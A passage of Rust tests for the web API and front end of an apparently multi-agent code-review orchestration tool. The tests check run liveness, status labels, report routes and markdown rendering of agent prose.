14015    /// though no daemon claims it.
14016    #[tokio::test]
14017    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14018        let f = Fixture::start().await;
14019        let id = "20260922-090000-cccc";
14020        let mut state = RunState::new(
14021            PathBuf::from("/repo/magi"),
14022            "main".to_owned(),
14023            "0123456789abcdef".to_owned(),
14024            "Review only".to_owned(),
14025            Config::default(),
14026        );
14027        state.id = id.to_owned();
14028        state.status = RunStatus::Reviewing;
14029        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14030        // This test process's own pid: guaranteed alive, and never needs a
14031        // real daemon or a second process to prove it. The matching start-time
14032        // marker is what `liveness` now requires alongside a live pid — see
14033        // `RunState::driver_started_at`'s own doc for why the pid alone is
14034        // not enough.
14035        state.driver_pid = Some(std::process::id());
14036        state.driver_started_at = Some(
14037            crate::proc::process_started_at(std::process::id())
14038                .expect("this test process's own start time must be queryable"),
14039        );
14040        let dir = f.runs().join(id);
14041        std::fs::create_dir_all(&dir).expect("run dir");
14042        std::fs::write(
14043            dir.join("run.json"),
14044            serde_json::to_string_pretty(&state).expect("serialize run"),
14045        )
14046        .expect("write run.json");
14047
14048        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14049        assert_eq!(detail["live"], "live", "{detail}");
14050    }
14051
14052    /// A killed manual run's pid can be handed to a wholly unrelated later
14053    /// process — a live query on `driver_pid` alone would read this as
14054    /// `"live"`, exactly the false positive `driver_started_at` exists to
14055    /// catch (see that field's own doc, and `RunState::liveness_with`'s
14056    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
14057    #[tokio::test]
14058    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14059        let f = Fixture::start().await;
14060        let id = "20260922-090100-dddd";
14061        let mut state = RunState::new(
14062            PathBuf::from("/repo/magi"),
14063            "main".to_owned(),
14064            "0123456789abcdef".to_owned(),
14065            "Review only".to_owned(),
14066            Config::default(),
14067        );
14068        state.id = id.to_owned();
14069        state.status = RunStatus::Reviewing;
14070        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14071        // This test process's own pid really is alive, but the marker
14072        // recorded here does not match what it actually started at —
14073        // standing in for the pid having since been reused by a different
14074        // process than the one that wrote `run.json`.
14075        state.driver_pid = Some(std::process::id());
14076        state.driver_started_at = Some("1".to_owned());
14077        let dir = f.runs().join(id);
14078        std::fs::create_dir_all(&dir).expect("run dir");
14079        std::fs::write(
14080            dir.join("run.json"),
14081            serde_json::to_string_pretty(&state).expect("serialize run"),
14082        )
14083        .expect("write run.json");
14084
14085        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14086        assert_eq!(detail["live"], "dead", "{detail}");
14087    }
14088
14089    /// The deck's competition list is normally the first place an operator
14090    /// sees an old run. It must carry the same process verdict as detail, or
14091    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
14092    #[test]
14093    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14094        let mk = |id: &str, pid: Option<u32>| {
14095            let mut s = RunState::new(
14096                PathBuf::from("/repo/magi"),
14097                "main".to_owned(),
14098                "0123456789abcdef".to_owned(),
14099                "Add a web UI".to_owned(),
14100                Config::default(),
14101            );
14102            s.id = id.to_owned();
14103            s.driver_pid = pid;
14104            s.driver_started_at = Some("1790000000".to_owned());
14105            s
14106        };
14107        let states = vec![
14108            mk("20260902-140502-aaaa", Some(77)),
14109            mk("20260902-140502-bbbb", Some(77)),
14110            mk("20260902-140502-cccc", Some(77)),
14111            mk("20260902-140502-dddd", None),
14112        ];
14113        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14114        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14115        let sup: HashMap<String, String> = [(
14116            "20260902-140502-aaaa".to_owned(),
14117            "20260902-140502-cccc".to_owned(),
14118        )]
14119        .into();
14120
14121        let status_calls = std::cell::Cell::new(0);
14122        let identity_calls = std::cell::Cell::new(0);
14123        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14124            |_| {
14125                status_calls.set(status_calls.get() + 1);
14126                Some(true)
14127            },
14128            |_| {
14129                identity_calls.set(identity_calls.get() + 1);
14130                Some("1790000000".to_owned())
14131            },
14132        ));
14133        let rows = summarize(
14134            states,
14135            &open,
14136            &claimed,
14137            &sup,
14138            |p| probe.borrow_mut().status(p),
14139            |p| probe.borrow_mut().started_at(p),
14140        );
14141
14142        assert_eq!(status_calls.get(), 1, "one pid, one status query");
14143        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14144        assert_eq!(rows.len(), 4);
14145        assert!(!rows[0].waiting && rows[1].waiting);
14146        assert_eq!(rows[0].live, crate::run::Liveness::Live);
14147        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14148        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14149        assert_eq!(rows[1].superseded_by, None);
14150    }
14151
14152    #[test]
14153    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14154        let mut state = RunState::new(
14155            PathBuf::from("/repo/magi"),
14156            "main".to_owned(),
14157            "0123456789abcdef".to_owned(),
14158            "Review only".to_owned(),
14159            Config::default(),
14160        );
14161        state.id = "20260922-090200-dead".to_owned();
14162        state.status = RunStatus::Reviewing;
14163        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14164            .expect("serialize list row");
14165        assert_eq!(row["status"], "reviewing");
14166        assert_eq!(row["display_status"], "stale");
14167        assert_eq!(row["live"], "dead", "{row}");
14168        assert!(!row["done"].as_bool().unwrap());
14169    }
14170
14171    #[test]
14172    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14173        use crate::run::Liveness::{Dead, Live, Unknown};
14174        let mut state = RunState::new(
14175            PathBuf::from("/repo/magi"),
14176            "main".to_owned(),
14177            "abc".to_owned(),
14178            "Review only".to_owned(),
14179            Config::default(),
14180        );
14181        for (status, parked, node, waiting, live, expected) in [
14182            (
14183                RunStatus::Judging,
14184                true,
14185                "github-text",
14186                false,
14187                Dead,
14188                "parked",
14189            ),
14190            (RunStatus::Judging, false, "park", false, Dead, "stale"),
14191            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14192            (
14193                RunStatus::Judging,
14194                true,
14195                "github-text",
14196                true,
14197                Dead,
14198                "waiting",
14199            ),
14200            (
14201                RunStatus::Judging,
14202                false,
14203                "github-text",
14204                true,
14205                Dead,
14206                "waiting",
14207            ),
14208            (
14209                RunStatus::Judging,
14210                false,
14211                "github-text",
14212                false,
14213                Dead,
14214                "stale",
14215            ),
14216            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14217            (RunStatus::Judging, true, "park", false, Live, "judging"),
14218            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14219            (RunStatus::Merged, true, "park", false, Dead, "merged"),
14220            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14221            (
14222                RunStatus::Blocked,
14223                true,
14224                "github-text",
14225                true,
14226                Dead,
14227                "waiting",
14228            ),
14229        ] {
14230            state.status = status;
14231            state.parked = parked;
14232            state.events.clear();
14233            state.event(
14234                "park",
14235                "an earlier park does not determine the latest state",
14236            );
14237            state.event(node, "message is not used for classification");
14238            let summary = RunSummary::of(&state, waiting, live);
14239            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14240            assert_eq!(
14241                summary.display_status, expected,
14242                "{status:?}/{node}/{live:?}"
14243            );
14244            assert_eq!(detail.display_status, summary.display_status);
14245            assert_eq!(detail.waiting, summary.waiting);
14246        }
14247        state.status = RunStatus::Judging;
14248        state.parked = false;
14249        state.events.clear();
14250        assert_eq!(run_display_status(&state, false, Dead), "stale");
14251    }
14252
14253    #[tokio::test]
14254    async fn run_display_status_routes_share_the_open_question_store() {
14255        let f = Fixture::start().await;
14256        let id = "20260922-090200-abcd";
14257        write_run(&f.runs(), id, RunStatus::Judging);
14258        let mut state = read_run(&f.runs(), id).unwrap();
14259        state.parked = true;
14260        state.driver_exited = true;
14261        state.event("github-text", "waiting for the owner");
14262        state.save_under(f.home.path()).unwrap();
14263        let store = f.questions();
14264        let mut q = Question::new(
14265            id.to_owned(),
14266            "github-text".to_owned(),
14267            "owner".to_owned(),
14268            "Approve the text?".to_owned(),
14269            String::new(),
14270            Vec::new(),
14271        );
14272        store.put(&mut q).unwrap();
14273        for expected in ["waiting", "parked"] {
14274            let list = f.get("/api/runs").await.json();
14275            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14276            assert_eq!(list[0]["display_status"], expected);
14277            assert_eq!(detail["display_status"], expected);
14278            assert_eq!(detail["waiting"], list[0]["waiting"]);
14279            q.status = ask::QuestionStatus::Answered;
14280            store.put(&mut q).unwrap();
14281        }
14282    }
14283
14284    #[tokio::test]
14285    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14286        let f = Fixture::start().await;
14287        let id = "20260922-090200-abcd";
14288        write_run(&f.runs(), id, RunStatus::Judging);
14289        let mut state = read_run(&f.runs(), id).unwrap();
14290        state.parked = true;
14291        state.driver_exited = true;
14292        state.event("park", "stopped at a node boundary");
14293        state.save_under(f.home.path()).unwrap();
14294
14295        for expected in ["parked", "stale"] {
14296            let list = f.get("/api/runs").await.json();
14297            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14298            assert_eq!(list[0]["live"], "dead");
14299            assert_eq!(list[0]["display_status"], expected);
14300            assert_eq!(detail["display_status"], expected);
14301            // Model a driver claim followed by a crash before the next event:
14302            // the persisted flag changes, but the last event is still park.
14303            state.parked = false;
14304            state.save_under(f.home.path()).unwrap();
14305        }
14306    }
14307
14308    #[tokio::test]
14309    async fn the_run_list_is_newest_first_and_honours_a_limit() {
14310        let f = Fixture::start().await;
14311        for id in [
14312            "20260902-140501-aaaa",
14313            "20260902-140502-bbbb",
14314            "20260902-140503-cccc",
14315        ] {
14316            write_run(&f.runs(), id, RunStatus::Merged);
14317        }
14318
14319        let all = f.get("/api/runs").await.json();
14320        let capped = f.get("/api/runs?limit=2").await.json();
14321
14322        assert_eq!(all[0]["id"], "20260902-140503-cccc");
14323        assert_eq!(all.as_array().map(Vec::len), Some(3));
14324        assert_eq!(capped.as_array().map(Vec::len), Some(2));
14325        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14326    }
14327
14328    #[tokio::test]
14329    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14330        let f = Fixture::start().await;
14331        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14332
14333        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14334
14335        assert_eq!(res.status, 200);
14336        assert!(
14337            res.headers
14338                .contains("content-type: text/plain; charset=utf-8"),
14339            "a browser must render it, not download it: {}",
14340            res.headers
14341        );
14342        // The assertion is on content, not on the absence of escapes: colour
14343        // is a process-global that `serve` turns off at startup, and another
14344        // test in this binary may own it while this one runs.
14345        assert!(
14346            res.body.contains("20260902-140501-a1b2"),
14347            "the report is about the run that was asked for: {}",
14348            res.body
14349        );
14350    }
14351
14352    #[tokio::test]
14353    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14354        // The view names the run's state directory, which reads the process-global home.
14355        crate::run::pin_test_home();
14356        let f = Fixture::start().await;
14357        let id = "20260902-140501-a1b2";
14358        write_run(&f.runs(), id, RunStatus::Stalled);
14359        // A stalled panel and one review round, written through the real
14360        // state file so the route reads what a run really leaves behind.
14361        let path = f.runs().join(id).join("run.json");
14362        let mut v: serde_json::Value =
14363            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14364        v["tally"] = serde_json::json!({
14365            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14366            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14367            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14368            "met_quorum": false, "rankings": 1
14369        });
14370        v["reviews"] = serde_json::json!([{
14371            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14372            "e2e_deferred": true,
14373            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14374                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14375            ]}]
14376        }]);
14377        std::fs::write(&path, v.to_string()).unwrap();
14378        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14379        std::fs::write(
14380            f.runs().join("20260902-140502-dead").join("run.json"),
14381            "{not json",
14382        )
14383        .unwrap();
14384
14385        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14386
14387        assert_eq!(res.status, 200, "{}", res.body);
14388        assert!(res.headers.contains("content-type: application/json"));
14389        let j = res.json();
14390        assert_eq!(j["schema"], 1);
14391        assert_eq!(j["header"]["id"], id);
14392        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14393        let kinds: Vec<&str> = j["sections"]
14394            .as_array()
14395            .unwrap()
14396            .iter()
14397            .map(|s| s["kind"].as_str().unwrap())
14398            .collect();
14399        assert_eq!(kinds, ["candidates", "tally", "review"]);
14400        let tally = &j["sections"][1]["tally"];
14401        assert_eq!(
14402            (tally["decided"].clone(), tally["provisional"].clone()),
14403            (false.into(), true.into())
14404        );
14405        let round = &j["sections"][2]["rounds"][0];
14406        assert_eq!(round["e2e"]["state"], "deferred");
14407        assert_eq!(round["findings"][0]["severity"], "major");
14408        assert_eq!(round["findings"][0]["blocking"], true);
14409        assert_eq!(round["findings"][0]["state"], "open");
14410
14411        // The raw route keeps working beside it.
14412        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14413
14414        // An unreadable run is an error, as on the text route, and is counted.
14415        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14416        assert_ne!(bad.status, 200, "{}", bad.body);
14417        assert_eq!(
14418            bad.status,
14419            f.get("/api/runs/20260902-140502-dead/report").await.status
14420        );
14421        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14422        assert_eq!(
14423            f.get("/api/runs/20260902-999999-ffff/report.json")
14424                .await
14425                .status,
14426            404
14427        );
14428    }
14429
14430    #[tokio::test]
14431    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14432        crate::run::pin_test_home();
14433        let f = Fixture::start().await;
14434        let id = "20260902-140503-delib";
14435        write_run(&f.runs(), id, RunStatus::Merged);
14436        let path = f.runs().join(id).join("run.json");
14437        let mut v: serde_json::Value =
14438            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14439        v["judgements"] = serde_json::json!([
14440            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14441        ]);
14442        v["tally"] = serde_json::json!({
14443            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14444            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14445            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14446            "met_quorum": true, "rankings": 1
14447        });
14448        v["deliberation"] = serde_json::json!([
14449            {
14450                "round": 1,
14451                "turns": [
14452                    {
14453                        "judge": 1,
14454                        "agent": "judge-1",
14455                        "body": "I prefer candidate **A** because it has cleaner tests.",
14456                        "tentative": "A"
14457                    }
14458                ]
14459            },
14460            {
14461                "round": 2,
14462                "turns": [
14463                    {
14464                        "judge": 1,
14465                        "agent": "judge-1",
14466                        "body": "Still thinking, no choice yet.",
14467                        "tentative": null
14468                    }
14469                ]
14470            }
14471        ]);
14472        std::fs::write(&path, v.to_string()).unwrap();
14473
14474        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14475        assert_eq!(res.status, 200, "{}", res.body);
14476        let j = res.json();
14477        let judging = j["sections"]
14478            .as_array()
14479            .unwrap()
14480            .iter()
14481            .find(|s| s["kind"] == "judging")
14482            .expect("judging section exists");
14483
14484        // Existing summary lines remain intact
14485        let delib_lines = judging["deliberation"].as_array().unwrap();
14486        assert_eq!(delib_lines.len(), 2);
14487        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14488        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14489
14490        // rounds carry turn bodies, tentative and parsed body_md
14491        let rounds = judging["rounds"].as_array().unwrap();
14492        assert_eq!(rounds.len(), 2);
14493        let r1_t0 = &rounds[0]["turns"][0];
14494        assert_eq!(r1_t0["judge"], 1);
14495        assert_eq!(r1_t0["agent"], "judge-1");
14496        assert_eq!(r1_t0["tentative"], "A");
14497        assert_eq!(
14498            r1_t0["body"],
14499            "I prefer candidate **A** because it has cleaner tests."
14500        );
14501        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14502
14503        let r2_t0 = &rounds[1]["turns"][0];
14504        assert_eq!(r2_t0["judge"], 1);
14505        assert_eq!(r2_t0["agent"], "judge-1");
14506        assert!(r2_t0["tentative"].is_null());
14507        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14508        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14509
14510        // A run with empty deliberation array yields empty rounds
14511        let id_empty = "20260902-140504-nodelib";
14512        write_run(&f.runs(), id_empty, RunStatus::Merged);
14513        let path_empty = f.runs().join(id_empty).join("run.json");
14514        let mut v_empty: serde_json::Value =
14515            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14516        v_empty["judgements"] = serde_json::json!([
14517            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14518        ]);
14519        v_empty["deliberation"] = serde_json::json!([]);
14520        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14521
14522        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14523        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14524        let j_empty = res_empty.json();
14525        let judging_empty = j_empty["sections"]
14526            .as_array()
14527            .unwrap()
14528            .iter()
14529            .find(|s| s["kind"] == "judging")
14530            .expect("judging section exists");
14531        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14532    }
14533
14534    #[tokio::test]
14535    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14536        let f = Fixture::start().await;
14537
14538        let html = f.get("/").await;
14539        let css = f.get("/app.css").await;
14540        let js = f.get("/app.js").await;
14541
14542        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14543        assert!(
14544            html.headers
14545                .contains("content-type: text/html; charset=utf-8")
14546        );
14547        assert!(css.headers.contains("content-type: text/css"));
14548        assert!(js.headers.contains("content-type: text/javascript"));
14549        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14550    }
14551
14552    #[test]
14553    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14554        let body = |name: &str| {
14555            let at = APP_JS
14556                .find(name)
14557                .unwrap_or_else(|| panic!("{name} missing"));
14558            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14559        };
14560        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14561        let note = body("function landRoundNote");
14562        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14563        assert!(note.contains("Land round ${round}"));
14564        let land = body("function renderLand");
14565        let note_at = land
14566            .find("landRoundNote(pr)")
14567            .expect("renderLand uses the note");
14568        assert!(
14569            note_at
14570                < land
14571                    .find("roundRail(pr)")
14572                    .expect("renderLand uses the rail")
14573        );
14574    }
14575
14576    #[test]
14577    fn the_runs_page_redesign_keeps_its_guards() {
14578        let body = |name: &str| {
14579            let at = APP_JS
14580                .find(name)
14581                .unwrap_or_else(|| panic!("{name} missing"));
14582            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14583        };
14584        // A null child must never reach the native append (it prints "null").
14585        let land = body("function renderLand");
14586        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14587        assert!(
14588            !land.contains("box.append("),
14589            "renderLand must use append()"
14590        );
14591        assert!(land.contains("append(box, ["));
14592        // Tabs are hash routes; the run id alone decides a reload.
14593        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14594        assert!(
14595            body("function applyRoute")
14596                .contains("route.name !== state.route.name || route.id !== state.route.id")
14597        );
14598        // The decorative diagram is gone, the strip and its guards stay.
14599        assert!(!APP_JS.contains("adviseConvergeDiagram"));
14600        assert!(!INDEX_HTML.contains("advise-converge"));
14601        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14602        assert!(APP_JS.contains("provisional"));
14603        for id in [
14604            "run-tab-overview",
14605            "run-tab-timeline",
14606            "run-tab-report",
14607            "run-report",
14608            "runs-scope",
14609        ] {
14610            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14611        }
14612        assert!(!INDEX_HTML.contains("runs-tree"));
14613        assert!(!INDEX_HTML.contains("run-raw-panel"));
14614        // Fold still says it cannot be resumed.
14615        assert!(APP_JS.contains("resume"));
14616        // The unreadable-runs count stays on the page.
14617        assert!(APP_JS.contains("unreadable"));
14618    }
14619
14620    #[test]
14621    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14622        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14623        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14624        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
14625        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14626        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14627        // The subtitle still counts them whatever the banner does.
14628        assert!(APP_JS.contains("unreadable` : null"));
14629    }
14630
14631    #[test]
14632    fn the_run_detail_payload_says_whether_the_run_is_done() {
14633        // `landView` reads `run.done`; the detail response must carry it.
14634        for (status, done) in [
14635            (RunStatus::Superseded, true),
14636            (RunStatus::Blocked, true),
14637            (RunStatus::Landing, false),
14638        ] {
14639            let mut state = RunState::new(
14640                std::path::PathBuf::from("/repo"),
14641                "main".to_owned(),
14642                "abc".to_owned(),
14643                "x".to_owned(),
14644                crate::config::Config::default(),
14645            );
14646            state.status = status;
14647            let v = serde_json::to_value(RunDetailView::of(
14648                state,
14649                false,
14650                crate::run::Liveness::Unknown,
14651                None,
14652                None,
14653                None,
14654            ))
14655            .unwrap();
14656            assert_eq!(v["done"], done, "{status:?}");
14657        }
14658    }
14659
14660    /// The first node of a markdown block holds a `strong` somewhere.
14661    fn has_strong(nodes: &[md::Node]) -> bool {
14662        serde_json::to_string(nodes).unwrap().contains("strong")
14663    }
14664
14665    #[test]
14666    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14667        let mut state = RunState::new(
14668            std::path::PathBuf::from("/repo"),
14669            "main".to_owned(),
14670            "abc".to_owned(),
14671            "x".to_owned(),
14672            crate::config::Config::default(),
14673        );
14674        let proposal = |approach: &str| {
14675            serde_json::json!({
14676                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14677            })
14678        };
14679        state.advice = Some(
14680            serde_json::from_value(serde_json::json!({
14681                "records": [
14682                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14683                     "proposal": proposal("do **this**")},
14684                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14685                ],
14686                "synthesis": "- one\n- **two**\n\n`code`",
14687            }))
14688            .unwrap(),
14689        );
14690        state.candidates = serde_json::from_value(serde_json::json!([
14691            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14692             "summary": "did **it**"},
14693            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14694        ]))
14695        .unwrap();
14696        // Recorded in ascending severity, the reverse of how the page sorts
14697        // them: the arrays must follow the record, not the display.
14698        state.reviews = serde_json::from_value(serde_json::json!([{
14699            "round": 1, "head": "h",
14700            "reviews": [{
14701                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14702                "findings": [
14703                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
14704                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14705                ],
14706            }],
14707            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14708            "fix": {"agent": "a", "notes": "fixed **it**",
14709                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14710        }, {"round": 2, "head": "h2", "reviews": []}]))
14711        .unwrap();
14712
14713        let v = serde_json::to_value(RunDetailView::of(
14714            state,
14715            false,
14716            crate::run::Liveness::Unknown,
14717            None,
14718            None,
14719            None,
14720        ))
14721        .unwrap();
14722
14723        let strong = |p: &str| {
14724            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14725            assert!(n.to_string().contains("strong"), "{p}: {n}");
14726        };
14727        strong("/advice_md/synthesis");
14728        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14729        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14730        strong("/advice_md/approaches/0");
14731        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14732        strong("/candidate_summaries_md/0");
14733        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14734        strong("/reviews_md/0/reviewers/0/summary");
14735        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14736        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14737        assert!(f[1].to_string().contains("strong"));
14738        strong("/reviews_md/0/reconsideration/0");
14739        strong("/reviews_md/0/fix/notes");
14740        strong("/reviews_md/0/fix/rejected/0");
14741        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14742        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14743        // The raw strings stay, and no schema moved.
14744        assert_eq!(v["candidates"][0]["summary"], "did **it**");
14745        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14746    }
14747
14748    #[test]
14749    fn a_run_without_advice_has_no_advice_md() {
14750        let state = RunState::new(
14751            std::path::PathBuf::from("/repo"),
14752            "main".to_owned(),
14753            "abc".to_owned(),
14754            "x".to_owned(),
14755            crate::config::Config::default(),
14756        );
14757        let p = run_prose_md(&state);
14758        assert!(p.advice_md.is_none());
14759        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14760    }
14761
14762    #[test]
14763    fn a_question_view_carries_markdown_for_each_thread_turn() {
14764        let home = TempDir::new().unwrap();
14765        let store = ask::Questions::at(home.path().join("questions"));
14766        let mut q = Question::new(
14767            "run".to_owned(),
14768            "implement".to_owned(),
14769            "impl-A".to_owned(),
14770            "which?".to_owned(),
14771            String::new(),
14772            Vec::new(),
14773        );
14774        q.say("plain words").unwrap();
14775        q.reply("use **this**", Vec::new()).unwrap();
14776        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14777        let bodies = &v["thread_bodies_md"];
14778        assert_eq!(bodies.as_array().unwrap().len(), 2);
14779        assert!(!bodies[0].to_string().contains("strong"));
14780        assert!(bodies[1].to_string().contains("strong"));
14781    }
14782
14783    #[test]
14784    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14785        let home = TempDir::new().unwrap();
14786        let store = ask::Questions::at(home.path().join("questions"));
14787        let mut q = Question::new(
14788            "run".to_owned(),
14789            "conduct".to_owned(),
14790            "conduct".to_owned(),
14791            "which?".to_owned(),
14792            String::new(),
14793            Vec::new(),
14794        );
14795        q.say("plain words").unwrap();
14796        q.thread.push(ask::Turn {
14797            who: ask::Who::Agent,
14798            body: "Settled as `merge`".to_owned(),
14799            at: jiff::Timestamp::now(),
14800            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14801        });
14802        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14803        let notes = &v["thread_notes_md"];
14804        assert_eq!(notes.as_array().unwrap().len(), 2);
14805        assert!(notes[0].is_null());
14806        let text = notes[1].to_string();
14807        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14808        assert!(APP_JS.contains("ask-turn-note"));
14809    }
14810
14811    #[test]
14812    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14813        // The land panel defers to `run.status` for merged, and labels a
14814        // recorded-open PR on any finished run (superseded, blocked, ...) as
14815        // last seen, never as live state.
14816        assert!(APP_JS.contains("function landView(run, raw) {"));
14817        assert!(
14818            APP_JS.contains(
14819                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14820            )
14821        );
14822        assert!(APP_JS.contains("const pr = landView(run, raw);"));
14823        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14824        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14825        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14826    }
14827
14828    #[test]
14829    fn live_runs_are_never_hidden_or_folded_as_superseded() {
14830        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
14831        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14832        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14833        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14834    }
14835
14836    #[test]
14837    fn review_rounds_label_a_distinct_verified_head() {
14838        assert!(APP_JS.contains("round.verified_head"));
14839        assert!(APP_JS.contains("verified HEAD"));
14840        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14841    }
14842
14843    #[test]
14844    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14845        // A blocked task's chip and note must not fall back to a queued-like
14846        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
14847        // itself by e11fc58 but never checked here.
14848        assert!(APP_JS.contains("blocked: { glyph:"));
14849        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14850
14851        // `blocked_by` mixes task ids and question ids in the same list, and
14852        // the client can only tell them apart by checking each id against
14853        // what it actually knows - never by guessing from the id's shape.
